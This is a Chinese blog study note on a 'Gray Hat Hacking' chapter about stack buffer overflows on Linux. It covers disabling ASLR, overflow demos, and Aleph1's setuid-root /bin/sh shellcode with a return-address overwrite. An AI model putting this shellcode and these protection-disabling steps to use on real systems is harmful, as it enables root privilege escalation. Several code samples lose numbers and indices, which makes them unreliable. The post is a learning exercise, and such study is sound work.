有两个重要的寄存器负责处理堆栈:基址指针(EBP)和栈指针(ESP),EBP指向当前进程的当前栈帧的底部,ESP则总是指向栈顶

当调用函数的时候,会导致程序流跳转。在汇编代码调用函数时,将发生以下三件事:

(1)调用函数首先按照逆序将函数压入栈中,从而对函数调用进行设置

(2)接下来,将扩展的指令指针(EIP)保存到堆栈上,这样程序在函数返回后就能在之前中断的地方继续执行。将这个地址称为返回地址。

(3)最后执行call指令,将函数的地址放入EIP中执行

被调用函数的职责是,首先将调用程序的EBP寄存器内容保存在堆栈上,其次将当前ESP寄存器内容保存到ESP寄存器中设置当前栈帧,然后减少ESP寄存器数值,从而为该函数的本地变量

腾出空间,最后,该函数获得机会执行它的语句,将这个过程称为函数首部(Prolog)。

被调用函数在返回到调用程序之前所要做的最后一件事情是将ESP值增加到EBP,并清空栈。在返回时,从堆栈中弹出所保存的EIP值,将这个过程称为函数尾部(Epolog)。如果一切运转正常,EIP

将仍保存这要加载的下一条指令的地址,因此程序将继续执行该函数调用之后的语句。

示意图如下:

                图  1

缓冲区溢出

由于现在大多数操作系统都使用地址空间布局随机化(Address Space Layout Randomization,ASLR)技术将堆栈内存调用随机化。

查看/proc/sys/kernel/randomize_va_space

随机化支持以下值:

    0 –无随机化。 一切都是静态的。
         1 –保守随机。 共享库,堆栈,mmap(),VDSO和堆是随机的。
         2 –完全随机化。 除了上一点中列出的元素之外,通过brk()管理的内存也被随机化了。

初始值为2,即完全的随机化

使用以下命令暂时关闭ASLR

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

自己试了下其他方法,并参考[1]发现:

1.无法直接通过vim、vi、gedit等编辑器编辑

2.不可以sudo echo 0 > /proc/sys/kernel/randomize_va_space,会提示bash: /proc/sys/kernel/randomize_va_space: Permission denied因为sudo命令不支持重定向

缓冲区本身并没有任何机制能够阻止将过多的数据存放到预留的空间中。可以尝试以下的代码段:

overflow.c

//overflow.c
#include <string.h>
main(){
char str1[]; //declare a 10 byte string
//next, copy 35 bytes of "A" to str1
strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
}

使用gcc编译  gcc -ggdb -mpreferred-stack-boundary= -fno-stack-protector -o overflow overflow.c

运行后报错

使用gdb来查找原因

这里和原教材有出入,主要是由于我的是64位系统,而教程是32位系统,虽然造成了缓冲区溢出,但是,并不能介绍其原因。。。

A的“A的ASCII码是65,16进制下为0x14,一些寄存器的值被填为AAAAAAAA,另一些没有

我以为是数据太少的结果,将A增加到50,70,100,还是没达到预期的结果,还望大佬们告知,不甚感激。

---->书中讲解了原因:“根据使用的gcc版本和其他要素,程序崩溃的部分可能有所不同”

由于程序试图返回时,将从堆栈中弹出所保存的EIP值并执行下一条语句,由于rip寄存器的值超过了进程段的范围,故得到了段错误的"奖励"。

实验1 meet.c溢出

//meet.c
#include <stdio.h> // needed for screen printing
#include <string.h> greeting(char *temp1,char *temp2){ // greeting function to say hello
char name[]; // string variable to hold the name
strcpy(name, temp2); // copy the function argument to name
printf("Hello %s %s\n", temp1, name); //print out the greeting
}
main(int argc, char * argv[]){ //note the format for arguments
greeting(argv[], argv[]); //call function, pass title & name
printf("Bye %s %s\n", argv[], argv[]); //say "bye"
} //exit program

其基本的函数调用如下

为了使400字节的缓冲区溢出,需要使用一种解释语言Perl

其一个简单实例如下,向显示屏输出100个A:

编译meet.c后运行

 gcc -ggdb -mpreferred-stack-boundary= -fno-stack-protector -o meet ./meet.c
./meet shun `perl -e 'print "A" x 10'`

之后,向meet.c输出1000个A

./meet shun `perl -e 'print "A" x 1000'`

由图一可知,若写入的数据超过堆栈中压入EIP的位置,就会将从temp1开始的函数参数覆盖。由于printf函数使用了temp1,因此就会有问题,使用gdb检测:

可以发现temp1,temp2已被破坏, 他们指针指向0x4141414141414141处,此处存放的值为“”或null。但问题是printf()不会将空值作为唯一输入而停留下来。下面先从较小的A,如404开始,之后增加,观察现象

printf部分的argc和argv参数被溢出的数据篡改导致无法访问,栈底指针rip的值也受到了影响

继续增长

rip的后32位为全A,其已被污染

缓冲区溢出的后果

1.拒绝服务

2.EIP被控制,并以用户级访问权限执行恶意代码

3.EIP被控制,并以系统级或根级权限访问权限执行恶意代码

本地缓冲区溢出漏洞攻击

1.漏洞攻击的组件

(1)NOP雪橇

NOP就是在流水线等技术中常常使用到的空操作,英文名为no operation。在汇编代码中汇编器使用NOP操作来进行优化,对代码块进行填充。从而实现字对齐。

当黑客们将NOP指令加入到攻击缓冲区前面的时候,成为NOP雪橇,如果rip/eip指向了NOP雪橇,那么处理器将顺着雪橇滑入下一组件。

(2)shellcode

shellcode是专门用于表示那些执行黑客指令的机器码。

shellcode实际上是二进制代码,通常使用16进制表示。

实例shellcode.c

//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + ; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}

编译 gcc -ggdb -mpreferred-stack-boundary= -fno-stack-protector -z execstack -o shellcode shellcode.c

与之前不同的是,多了"-z execstack",这是关闭NX安全机制

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。[2]

sudo su    //进入超级用户,我的实验环境是ubuntu
chmod u+s shellcode
useradd -m joe //添加一个新用户(也可以使用任一个不是root的用户)
su joe //使用新用户
./shellcode
./shellcode
id

但是书上的代码并没有实现其目标....原因暂未知......

(3)重复返回地址

漏洞攻击之中最重要的就是返回地址的值,必须完美的对其进行重复,以此作为缓冲区溢出的填充,直到覆盖堆栈上保存的EIP值。

gcc可以使用如下的内联汇编:

get_sp.c:

#include <stdio.h>
unsigned int get_sp(void){
__asm__("movl %esp, %eax");
}
int main(){
printf("Stack pointer (ESP): 0x%x\n", get_sp());
}

开启ALSR:

sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"

可以发现,每次栈地址均不同

而关闭之后

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

可以发现栈地址不变

这三种方法按一下地址组合

[1]https://www.cnblogs.com/scrat/p/3505930.html

[2]https://www.cnblogs.com/Spider-spiders/p/8798628.html

灰帽黑客 基本的Linux漏洞攻击的更多相关文章

  1. 最新Zip压缩文件漏洞,黑客可以触发目录遍历攻击

    近日,国内某安全公司研究人员透露了一个关键漏洞的详细信息,该漏洞影响了许多生态系统中的数千个项目,黑客可以利用这些漏洞在目标系统上实现代码执行. 黑客是如何通过Zip压缩文件入侵攻击?被称为“ZipS ...

  2. 龙灵:特邀国内第一讲师“玄魂” 在线培训黑客神器Kali Linux

         如何成长为黑客.白帽子.网络工程师.渗透工程师?      国内这类型精英人才,大部分都是自学成才.他们成长的路上充满艰辛,还有更为漫长的学习过程.当然,幸运儿以外的大部分爱好者,被知识门槛 ...

  3. Python黑帽编程 3.3 MAC洪水攻击

    Python灰帽编程 3.3 MAC洪水 传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对CAM表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目 ...

  4. CentOS6.x服务器OpenSSH平滑7.3p版本——拒绝服务器漏洞攻击

    对于新安装的Linux服务器,默认OpenSSH及OpenSSL都不是最新的,需要进行升级以拒绝服务器漏洞攻击.本次介绍的是升级生产环境下CentOS6.x系列服务器平滑升级OpenSSL及OpenS ...

  5. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  6. CentOS6.x服务器OpenSSH平滑升级到7.3p版本——拒绝服务器漏洞攻击

    对于新安装的Linux服务器,默认OpenSSH及OpenSSL都不是最新的,需要进行升级以拒绝服务器漏洞攻击.本次介绍的是升级生产环境下CentOS6.x系列服务器平滑升级OpenSSL及OpenS ...

  7. Back Track 5 之 漏洞攻击 && 密码攻击 && Windows下渗透工具

    网络漏洞攻击工具 Metasploit 先msfupdate升级: 然后选择msfconsole: 接下来: set LHOST 本机IP地址 setLPORT setg PAYLOAD window ...

  8. ref:浅谈XXE漏洞攻击与防御

    ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20   |   分类于 web安全  |   热度 3189 ℃ 你会挽着我 ...

  9. 从零学习安全测试,从XSS漏洞攻击和防御开始

    WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究 ...

随机推荐

  1. Maven 专题(八):配置(一)常用修改配置

    修改配置文件 通常我们需要修改解压目录下conf/settings.xml文件,这样可以更好的适合我们的使用. 此处注意:所有的修改一定要在注释标签外面,不然修改无效.Maven很多标签都是给的例子, ...

  2. python数据处理(五)之数据清洗:研究、匹配与格式化

    1 前言 保持数据格式一致以及可读,否则数据不可能正确合并 清洗数据的过程中记下清洗过程的每一步,方便数据回溯以及过程复用 2 数据清洗基础知识 2.1 找出需要清洗的数据 仔细观察文件,观察数据字段 ...

  3. Python之爬虫(七)正则的基本使用

    什么是正则表达式 正则表达式是对字符串操作的一种逻辑公式,就是 事先定义好的一些特定字符.及这些特定字符的组合,组成一个“规则字符”,这个“规则字符” 来表达对字符的一种过滤逻辑. 正则并不是pyth ...

  4. echarts 实战 : 想让图例颜色和元素颜色对应,怎么办?

    首先,在 series 里设置颜色. (我是用js生成 echarts 需要的option对象,所以可能很难看懂) normalData.sData.forEach((item, index) =&g ...

  5. 跳过Google开机设置/验证/向导

    Google 的开机设置向导,亦或称作开机验证,对于刷机党来说最熟悉不过了.一般情况下,刷类原生或是原生系统,再刷 Gapps,开机就需要进行一些 Google 验证.这些验证,与国内的手机厂商所设置 ...

  6. AI面试题之深入浅出卷积网络的平移不变性

    卷积网络的平移不变性可能会经常在论文中看到,那这个到底是什么呢?看了一些论文的原文和网络上十几篇讲这个的博文,大概捋清了思路然后写下这个.不得不说,有的博文讲的有那么点问题. 1 什么是不变性 [不变 ...

  7. .Net Core 常见错误解决记录

    Error: String or binary data would be truncated. The statement has been terminated 数据库出错原因: 表字段创建的太短 ...

  8. 16 . Go之网络编程

    互联网的本质 两台计算机之间的通信与两个人打电话原理是一样的. # 1. 首先要通过各种物理连接介质连接 # 2. 找准确对方计算机(准确到软件)的位置 # 3. 通过统一的标准(一般子协议)进行数据 ...

  9. python基础--小数据池,代码块的最详细、深入剖析

    本文转至太白金星 一,id,is,== 在Python中,id是什么?id是内存地址,那就有人问了,什么是内存地址呢? 你只要创建一个数据(对象)那么都会在内存中开辟一个空间,将这个数据临时加在到内存 ...

  10. front-end——HTML5/CSS3基础

    概述 1.什么是前端 前端即网站前台部分,运行在PC端,移动端等浏览器上展现给用户浏览的网页,随着互联网技术的发展,html5,css3,前端框架的应用,跨平台响应式网页设计能够适应各种屏幕分辨率,完 ...